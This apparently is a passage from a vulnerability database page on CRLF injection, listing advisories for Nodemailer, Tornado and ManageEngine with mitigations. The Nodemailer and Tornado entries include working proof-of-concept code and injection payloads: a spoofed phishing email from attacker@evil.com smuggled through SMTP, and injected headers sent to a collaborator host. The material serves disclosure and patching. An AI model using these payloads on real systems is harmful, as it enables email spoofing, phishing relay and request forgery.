      "url": "https://github.com/robrwo/Net-Statsd-Tiny/commit/06f814f52fbcc0b2afddf7a2d6f8137fd3cede13.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/RRWO/Net-Statsd-Tiny-v0.3.8/changes"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVJJ-XCJG-GR5G

Vulnerability from github – Published: 2026-04-08 15:05 – Updated: 2026-04-08 15:05
VLAI
Summary
Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)
Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes: - Multi-tenant SaaS platforms with per-tenant SMTP configuration - Admin panels where SMTP hostname/name settings are stored in databases - Applications loading SMTP config from environment variables or external sources

What can an attacker do: 1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands 2. Spoof email senders by injecting arbitrary From headers in the DATA portion 3. Conduct phishing attacks using the legitimate SMTP server as a relay 4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO 5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:05:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand(\u0027EHLO \u0027 + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + \u0027\\r\\n\u0027, \u0027utf-8\u0027));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst net = require(\u0027net\u0027);\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n    socket.write(\u0027220 test ESMTP\\r\\n\u0027);\n    socket.on(\u0027data\u0027, data =\u003e {\n        const lines = data.toString().split(\u0027\\r\\n\u0027).filter(l =\u003e l);\n        lines.forEach(line =\u003e {\n            console.log(\u0027SMTP CMD:\u0027, line);\n            if (line.startsWith(\u0027EHLO\u0027) || line.startsWith(\u0027HELO\u0027))\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line.startsWith(\u0027MAIL FROM\u0027))\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line.startsWith(\u0027RCPT TO\u0027))\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line === \u0027DATA\u0027)\n                socket.write(\u0027354 Go\\r\\n\u0027);\n            else if (line === \u0027.\u0027)\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line === \u0027QUIT\u0027)\n                { socket.write(\u0027221 Bye\\r\\n\u0027); socket.end(); }\n            else if (line === \u0027RSET\u0027)\n                socket.write(\u0027250 OK\\r\\n\u0027);\n        });\n    });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n    const port = server.address().port;\n\n    // Inject a complete phishing email via EHLO name\n    const transport = nodemailer.createTransport({\n        host: \u0027127.0.0.1\u0027,\n        port: port,\n        secure: false,\n        name: \u0027legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n\u0027\n            + \u0027RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n\u0027\n            + \u0027From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n\u0027\n            + \u0027Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET\u0027\n    });\n\n    transport.sendMail({\n        from: \u0027legit@example.com\u0027,\n        to: \u0027legit-recipient@example.com\u0027,\n        subject: \u0027Normal email\u0027,\n        text: \u0027Normal content\u0027\n    }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application\u0027s intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server\u0027s trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, \u0027\u0027);\n```",
  "id": "GHSA-vvjj-xcjg-gr5g",
  "modified": "2026-04-08T15:05:20Z",
  "published": "2026-04-08T15:05:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
}

GHSA-W235-7P84-XX57

Vulnerability from github – Published: 2024-06-06 21:46 – Updated: 2024-06-06 21:46
VLAI
Summary
Tornado has a CRLF injection in CurlAsyncHTTPClient headers
Details

Summary

Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.

Details

When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.

This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:

The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.

PoC

The issue can be reproduced using the following script:

import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Impact

Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tornado"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-06T21:46:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nTornado\u2019s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.\n\n### Details\nWhen an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\\r) or line feed (\\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.\n\nThis behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.\n\nThis issue appears to stem from libcurl\u0027s (as well as pycurl\u0027s) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl\u2019s documentation states:\n\n\u003e The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.\n\npycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado\u2019s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.\n\n### PoC\nThe issue can be reproduced using the following script:\n\n```python\nimport asyncio\n\nfrom tornado import httpclient\nfrom tornado import curl_httpclient\n\nasync def main():\n    http_client = curl_httpclient.CurlAsyncHTTPClient()\n\n    request = httpclient.HTTPRequest(\n        # Burp Collaborator payload\n        \"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/\",\n        method=\"POST\",\n        body=\"body\",\n        # Injected header using CRLF characters\n        headers={\"Foo\": \"Bar\\r\\nHeader: Injected\"}\n    )\n\n    response = await http_client.fetch(request)\n    print(response.body)\n\n    http_client.close()\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nWhen the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line:\n\n```http\nPOST / HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nFoo: Bar\nHeader: Injected\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\nThe attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\\r\\n\\r\\nPOST /attacker-controlled-url HTTP/1.1\\r\\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request:\n\n```http\nPOST /attacker-controlled-url HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\n### Impact\nApplications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.",
  "id": "GHSA-w235-7p84-xx57",
  "modified": "2024-06-06T21:46:31Z",
  "published": "2024-06-06T21:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-w235-7p84-xx57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/commit/7786f09f84c9f3f2012c4cf3878417cb9f053669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tornadoweb/tornado"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tornado has a CRLF injection in CurlAsyncHTTPClient headers"
}

GHSA-W4HH-9Q66-VGVC

Vulnerability from github – Published: 2023-11-03 12:30 – Updated: 2023-11-03 12:30
VLAI
Details

A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-4768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T11:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.",
  "id": "GHSA-w4hh-9q66-vgvc",
  "modified": "2023-11-03T12:30:31Z",
  "published": "2023-11-03T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4768"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-manageengine-desktop-central"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.